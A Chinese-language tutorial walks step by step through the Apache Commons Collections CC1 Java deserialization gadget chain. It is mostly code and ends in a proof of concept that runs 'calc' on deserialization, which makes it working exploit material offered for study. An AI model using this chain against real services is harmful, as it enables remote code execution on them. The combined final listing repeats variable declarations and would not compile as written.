危險方法:exec
第一步
Runtime.getRuntime().exec("calc");
InvokerTransform.transform
第二步
Class c = Runtime.class;
Object runtime = Runtime.getRuntime();
Method exec = c.getDeclaredMethod("exec",String.class);
exec.invoke(runtime,"calc");
第三步
InvokerTransformer原始碼部分
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
第四步:尋找transform呼叫地方:checkSetvalue
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
Runtime r = Runtime.getRuntime();
Transformer InvokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap,null,InvokerTransformer);
Class transformedmap = TransformedMap.class;
Method check = transformedmap.getDeclaredMethod("checkSetValue", Object.class);
check.setAccessible(true);
check.invoke(decorateMap,r);//第四步
第五步:尋找checkSetvalue呼叫
找到可利用的位置
package org.apache.commons.collections.map;
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
Runtime r = Runtime.getRuntime();
Transformer InvokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,InvokerTransformer);
for(Map.Entry entry:decorateMap.entrySet())//Map.Entry(這個是型別) entry(鍵):decorateMap.entrySet()(decorateMap的值要被設定)
{
entry.setValue(r);
}
第六步:尋找readobject中呼叫setvalue
位置:sun.reflect.annotation
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}
第七步
1.解決Runtime不能序列化問題
反射出來
Class r = Runtime.class;
Method m = r.getDeclaredMethod("getRuntime",null);
Runtime runtime = (Runtime) m.invoke(null,null);
Method exec = r.getDeclaredMethod("exec",String.class);
exec.invoke(runtime,"calc");
2.發現他可以利用invokeTransform
Class c = Runtime.class;
Method m = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
3.接著發現可以用chaintransform
Transformer[] transformers = {
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
4.完成之後與第五步結合還有第六步一起結合來看
Transformer[] transformers = {
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Runtime r = Runtime.getRuntime();
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Override.class, decorateMap);
serialize(o);
unserialize("ser.bin");
5.這個不會發生什麼因為還有兩步沒有做就是沒有完成if判斷
第八步
第一個if
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
我來解釋一下這個程式碼在幹嘛
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
這個是不斷遍歷型別Map.Entry<String, Object>的membervalue,然後對他進行修改entrySet()
String name = memberValue.getKey();
這個程式碼是獲取memberValue的鍵值
Class<?> memberType = memberTypes.get(name);
這個是獲取memberTypes裡面有沒有和name一樣的key
public @interface Target { ElementType[] value(); }
比如上面這個就是有的
public @interface Override { }
這個就是空的
所以我們選擇給Class<? extends Annotation> type賦值為Target.class
然後給我們的map的key賦值為何target的key一樣就行就是賦值為value,這樣就能進入第一個if
Transformer[] transformers = {
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Runtime r = Runtime.getRuntime();
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
serialize(o);
unserialize("ser.bin");
第二個if
發現 setValue() 處中的引數並不可控,而是指定了 AnnotationTypeMismatchExceptionProxy 類,是無法進行命令執行的。我們需要找到一個類,能夠可控 setValue 的引數。
找到一個類,他的功能就是不論你傳入什麼都是返回一樣的值,如果我們傳入Runtime他就改變不了
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Runtime r = Runtime.getRuntime();
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
serialize(o);
unserialize("ser.bin");
這樣就成功了!
反序列程式碼
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
ois.close();
return obj;
}
最後的程式碼
public class cc1 {
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("calc");//第一步
Class c = Runtime.class;
Object runtime = Runtime.getRuntime();
Method exec = c.getDeclaredMethod("exec",String.class);
exec.invoke(runtime,"calc");//第二步
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);//第三步
Runtime r = Runtime.getRuntime();
Transformer InvokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap,null,InvokerTransformer);
Class transformedmap = TransformedMap.class;
Method check = transformedmap.getDeclaredMethod("checkSetValue", Object.class);
check.setAccessible(true);
check.invoke(decorateMap,r);//第四步
Runtime r = Runtime.getRuntime();
Transformer InvokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,InvokerTransformer);
for(Map.Entry entry:decorateMap.entrySet())//Map.Entry(這個是型別) entry(鍵):decorateMap.entrySet()(decorateMap的值要被設定)
{
entry.setValue(r);
}//第五步
Class r = Runtime.class;
Method m = r.getDeclaredMethod("getRuntime");
Runtime runtime = (Runtime) m.invoke(r,null);
Method exec = r.getDeclaredMethod("exec",String.class);
exec.invoke(runtime,"calc");//第七步(1)
Class c = Runtime.class;
Method m = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);//第七步(2)
Transformer[] transformers = {
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);//第七步(3)
Transformer[] transformers = {
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Runtime r = Runtime.getRuntime();
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
serialize(o);
unserialize("ser.bin");//第八步(1)
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Runtime r = Runtime.getRuntime();
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
serialize(o);
unserialize("ser.bin");//第八步(2)
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
ois.close();
return obj;
}
}